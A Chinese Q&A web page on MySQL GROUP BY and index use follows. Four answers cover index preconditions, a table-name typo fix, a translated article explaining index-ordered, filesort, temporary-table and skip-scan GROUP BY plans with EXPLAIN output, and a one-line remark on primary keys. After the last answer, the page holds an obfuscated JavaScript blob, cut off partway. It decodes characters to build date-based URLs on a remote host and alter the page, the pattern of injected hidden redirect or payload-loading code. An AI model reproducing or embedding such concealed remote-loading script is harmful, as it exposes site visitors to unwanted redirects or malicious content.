mysql group by 索引问题

2025-02-08 00:58:31
推荐回答(4个)
回答1:

让group by 使用索引而不创建临时表,
使用索引的前提条件是:所有GROUP BY列引用同一索引的属性,并且索引按顺序保存其关键字(B-树索引,不是HASH索引)
至于DISTINCT 和GROUP BY哪个效率更高?
理论上 DISTINCT操作只需要找出所有不同的值就可以了。而GROUP BY操作还要为其他聚集函数进行准备工作。从这一点上将,GROUP BY操作做的工作应该比DISTINCT所做的工作要多一些。
但是实际上,DISTINCT操作,它会读取了所有记录;GROUP BY需要读取的记录数量与分组的组数量一样多,比实际存在的记录数目要少很多。

回答2:

具有自动增长属性的列必须为索引,无法删除。
error
1146(42s02):table
'guestbook.post'
doesn't
exist
明显是你打错了,是posts,不是post
下面这句添加是对的
alter
table
posts
add
primary
key(adminname);

回答3:

在日常查询中,索引或其他数据查找的方法可能不是查询执行中最高昂的部分,例如:MySQL GROUP BY 可能负责查询执行时间 90% 还多。MySQL 执行 GROUP BY 时的主要复杂性是计算 GROUP BY 语句中的聚合函数。UDF 聚合函数是一个接一个地获得构成单个组的所有值。这样,它可以在移动到另一个组之前计算单个组的聚合函数值。当然,问题在于,在大多数情况下,源数据值不会被分组。来自各种组的值在处理期间彼此跟随。因此,我们需要一个特殊的步骤。


处理 MySQL GROUP BY让我们看看之前看过的同一张table:    mysql> show create table tbl G    *************************** 1. row ***************************          Table: tbl    Create Table: CREATE TABLE `tbl` (     `id` int(11) NOT NULL AUTO_INCREMENT,     `k` int(11) NOT NULL DEFAULT '0',     `g` int(10) unsigned NOT NULL,     PRIMARY KEY (`id`),     KEY `k` (`k`)    ) ENGINE=InnoDB AUTO_INCREMENT=2340933 DEFAULT CHARSET=latin1    1 row in set (0.00 sec)

并且以不同方式执行相同的 GROUP BY 语句:

1、MySQL中 的 Index Ordered GROUP BY

  • mysql> select k, count(*) c from tbl group by k order by k limit 5;

  • +---+---+

  • | k | c |

  • +---+---+

  • | 2 | 3 |

  • | 4 | 1 |

  • | 5 | 2 |

  • | 8 | 1 |

  • | 9 | 1 |

  • +---+---+

  • 5 rows in set (0.00 sec)

  • mysql> explain select k, count(*) c from tbl group by k order by k limit 5 G

  • *************************** 1. row ***************************

  • id: 1

  • select_type: SIMPLE

  • table: tbl

  • partitions: NULL

  • type: index

  • possible_keys: k

  • key: k

  • key_len: 4

  • ref: NULL

  • rows: 5

  • filtered: 100.00

  • Extra: Using index

  • 1 row in set, 1 warning (0.00 sec)

  • 在这种情况下,我们在 GROUP BY 的列上有一个索引。这样,我们可以逐组扫描数据并动态执行 GROUP BY(低成本)。当我们使用 LIMIT 限制我们检索的组的数量或使用“覆盖索引”时,特别有效,因为顺序索引扫描是一种非常快速的操作。

  • 如果您有少量组,并且没有覆盖索引,索引顺序扫描可能会导致大量 IO。所以这可能不是最优化的计划。

  • 2、MySQL 中的外部排序 GROUP BY

  • mysql> explain select SQL_BIG_RESULT g, count(*) c from tbl group by g limit 5 G

  • *************************** 1. row ***************************

  • id: 1

  • select_type: SIMPLE

  • table: tbl

  • partitions: NULL

  • type: ALL

  • possible_keys: NULL

  • key: NULL

  • key_len: NULL

  • ref: NULL

  • rows: 998490

  • filtered: 100.00

  • Extra: Using filesort

  • 1 row in set, 1 warning (0.00 sec)

  • mysql> select SQL_BIG_RESULT g, count(*) c from tbl group by g limit 5;

  • +---+---+

  • | g | c |

  • +---+---+

  • | 0 | 1 |

  • | 1 | 2 |

  • | 4 | 1 |

  • | 5 | 1 |

  • | 6 | 2 |

  • +---+---+

  • 5 rows in set (0.88 sec)

  • 如果我们没有允许我们按组顺序扫描数据的索引,我们可以通过外部排序(在 MySQL 中也称为“filesort”)来获取数据。你可能会注意到我在这里使用 SQL_BIG_RESULT 提示来获得这个计划。没有它,MySQL 在这种情况下不会选择这个计划。

  • 一般来说,MySQL 只有在我们拥有大量组时才更喜欢使用这个计划,因为在这种情况下,排序比拥有临时表更有效(我们将在下面讨论)。

  • 3、MySQL中 的临时表 GROUP BY

  • mysql> explain select  g, sum(g) s from tbl group by g limit 5 G

  • *************************** 1. row ***************************

  • id: 1

  • select_type: SIMPLE

  • table: tbl

  • partitions: NULL

  • type: ALL

  • possible_keys: NULL

  • key: NULL

  • key_len: NULL

  • ref: NULL

  • rows: 998490

  • filtered: 100.00

  • Extra: Using temporary

  • 1 row in set, 1 warning (0.00 sec)

  • mysql> select  g, sum(g) s from tbl group by g order by null limit 5;

  • +---+------+

  • | g | s    |

  • +---+------+

  • | 0 |    0 |

  • | 1 |    2 |

  • | 4 |    4 |

  • | 5 |    5 |

  • | 6 |   12 |

  • +---+------+

  • 5 rows in set (7.75 sec)

  • 在这种情况下,MySQL 也会进行全表扫描。但它不是运行额外的排序传递,而是创建一个临时表。此临时表每组包含一行,并且对于每个传入行,将更新相应组的值。很多更新!虽然这在内存中可能是合理的,但如果结果表太大以至于更新将导致大量磁盘 IO,则会变得非常昂贵。在这种情况下,外部分拣计划通常更好。请注意,虽然 MySQL 默认选择此计划用于此用例,但如果我们不提供任何提示,它几乎比我们使用 SQL_BIG_RESULT 提示的计划慢 10 倍 。您可能会注意到我在此查询中添加了“ ORDER BY NULL ”。这是为了向您展示“清理”临时表的唯一计划。没有它,我们得到这个计划:    mysql> explain select  g, sum(g) s from tbl group by g limit 5 G    *************************** 1. row ***************************              id: 1     select_type: SIMPLE           table: tbl      partitions: NULL            type: ALL    possible_keys: NULL             key: NULL         key_len: NULL             ref: NULL            rows: 998490        filtered: 100.00           Extra: Using temporary; Using filesort    1 row in set, 1 warning (0.00 sec)


  • 在其中,我们获得了 temporary 和 filesort “两最糟糕的”提示。MySQL 5.7 总是返回按组顺序排序的 GROUP BY 结果,即使查询不需要它(这可能需要昂贵的额外排序传递)。ORDER BY NULL 表示应用程序不需要这个。您应该注意,在某些情况下 - 例如使用聚合函数访问不同表中的列的 JOIN 查询 - 使用 GROUP BY 的临时表可能是唯一的选择。

  • 如果要强制 MySQL 使用为 GROUP BY 执行临时表的计划,可以使用 SQL_SMALL_RESULT 提示。

  • 4、MySQL 中的索引基于跳过扫描的 GROUP BY前三个 GROUP BY 执行方法适用于所有聚合函数。然而,其中一些人有第四种方法。

  • mysql> explain select k,max(id) from tbl group by k G

  • *************************** 1. row ***************************

  • id: 1

  • select_type: SIMPLE

  • table: tbl

  • partitions: NULL

  • type: range

  • possible_keys: k

  • key: k

  • key_len: 4

  • ref: NULL

  • rows: 2

  • filtered: 100.00

  • Extra: Using index for group-by

  • 1 row in set, 1 warning (0.00 sec)

  • mysql> select k,max(id) from tbl group by k;

  • +---+---------+

  • | k | max(id) |

  • +---+---------+

  • | 0 | 2340920 |

  • | 1 | 2340916 |

  • | 2 | 2340932 |

  • | 3 | 2340928 |

  • | 4 | 2340924 |

  • +---+---------+

  • 5 rows in set (0.00 sec)

  • 此方法仅适用于非常特殊的聚合函数:MIN() 和 MAX()。这些并不需要遍历组中的所有行来计算值。他们可以直接跳转到组中的最小或最大组值(如果有这样的索引)。如果索引仅建立在 (K) 列上,如何找到每个组的 MAX(ID) 值?这是一个 InnoDB 表。记住 InnoDB 表有效地将 PRIMARY KEY 附加到所有索引。(K) 变为 (K,ID),允许我们对此查询使用 Skip-Scan 优化。仅当每个组有大量行时才会启用此优化。否则,MySQL 更倾向于使用更传统的方法来执行此查询(如方法#1中详述的索引有序 GROUP BY)。虽然我们使用 MIN() / MAX() 聚合函数,但其他优化也适用于它们。例如,如果您有一个没有 GROUP BY 的聚合函数(实际上所有表都有一个组),MySQL 在统计分析阶段从索引中获取这些值,并避免在执行阶段完全读取表:    mysql> explain select max(k) from tbl G    *************************** 1. row ***************************              id: 1     select_type: SIMPLE           table: NULL      partitions: NULL            type: NULL    possible_keys: NULL             key: NULL         key_len: NULL             ref: NULL            rows: NULL        filtered: NULL           Extra: Select tables optimized away    1 row in set, 1 warning (0.00 sec)


  • 过滤和分组

  • 我们已经研究了 MySQL 执行 GROUP BY 的四种方式。为简单起见,我在整个表上使用了 GROUP BY,没有应用过滤。当您有 WHERE 子句时,相同的概念适用:    mysql> explain select  g, sum(g) s from tbl where k>4 group by g order by NULL limit 5 G    *************************** 1. row ***************************              id: 1     select_type: SIMPLE           table: tbl      partitions: NULL            type: range    possible_keys: k             key: k         key_len: 4             ref: NULL            rows: 1        filtered: 100.00           Extra: Using index condition; Using temporary    1 row in set, 1 warning (0.00 sec)


  • 对于这种情况,我们使用K列上的范围进行数据过滤/查找,并在有临时表时执行 GROUP BY。在某些情况下,方法不会发生冲突。但是,在其他情况下,我们必须选择使用 GROUP BY 的一个索引或其他索引进行过滤:

  • mysql> alter table tbl add key(g);

  • Query OK, 0 rows affected (4.17 sec)

  • Records: 0  Duplicates: 0  Warnings: 0

  • mysql> explain select  g, sum(g) s from tbl where k>1 group by g limit 5 G

  • *************************** 1. row ***************************

  • id: 1

  • select_type: SIMPLE

  • table: tbl

  • partitions: NULL

  • type: index

  • possible_keys: k,g

  • key: g

  • key_len: 4

  • ref: NULL

  • rows: 16

  • filtered: 50.00

  • Extra: Using where

  • 1 row in set, 1 warning (0.00 sec)

  • mysql> explain select  g, sum(g) s from tbl where k>4 group by g limit 5 G

  • *************************** 1. row ***************************

  • id: 1

  • select_type: SIMPLE

  • table: tbl

  • partitions: NULL

  • type: range

  • possible_keys: k,g

  • key: k

  • key_len: 4

  • ref: NULL

  • rows: 1

  • filtered: 100.00

  • Extra: Using index condition; Using temporary; Using filesort

  • 1 row in set, 1 warning (0.00 sec)

  • 根据此查询中使用的特定常量,我们可以看到我们对 GROUP BY 使用索引顺序扫描(并从索引中“放弃”以解析 WHERE 子句),或者使用索引来解析 WHERE 子句(但使用临时表来解析 GROUP BY)。根据我的经验,这就是 MySQL GROUP BY 并不总是做出正确选择的地方。您可能需要使用 FORCE INDEX 以您希望的方式执行查询。

回答4:

不一定非得创建索引, 一般主键有索引,就可以了

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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